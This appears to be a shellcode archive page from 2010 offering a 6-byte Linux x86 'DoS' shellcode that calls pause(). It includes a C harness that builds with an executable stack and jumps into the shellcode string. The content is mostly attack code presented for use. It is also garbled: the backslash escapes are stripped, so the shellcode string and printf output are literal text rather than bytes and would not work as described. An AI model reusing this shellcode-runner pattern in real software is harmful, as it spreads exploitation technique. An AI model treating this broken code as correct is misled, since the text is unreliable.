[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : 6 bytes DoS-Badger-Game shellcode
# Published : 2010-04-14
# Author : Magnefikko
# Previous Title : 25 bytes execve("/bin/sh") shellcode
# Next Title : 55 bytes SLoc-DoS shellcode by Magnefikko


#include <stdio.h>
#include <string.h>

/*
by Magnefikko
14.04.2010
magnefikko@gmail.com
promhyl.oz.pl
Subgroup: #PRekambr
Name: 6 bytes DoS-Badger-Game shellcode
Platform: Linux x86

pause()
gcc -Wl,-z,execstack filename.c

shellcode:

x31xc0xb0x1dxcdx80

*/


int main(){
char shell[] = "x31xc0xb0x1dxcdx80";
printf("by Magnefikkonmagnefikko@gmail.comnpromhyl.oz.plnnstrlen(shell)
= %dn", strlen(shell));
(*(void (*)()) shell)();
}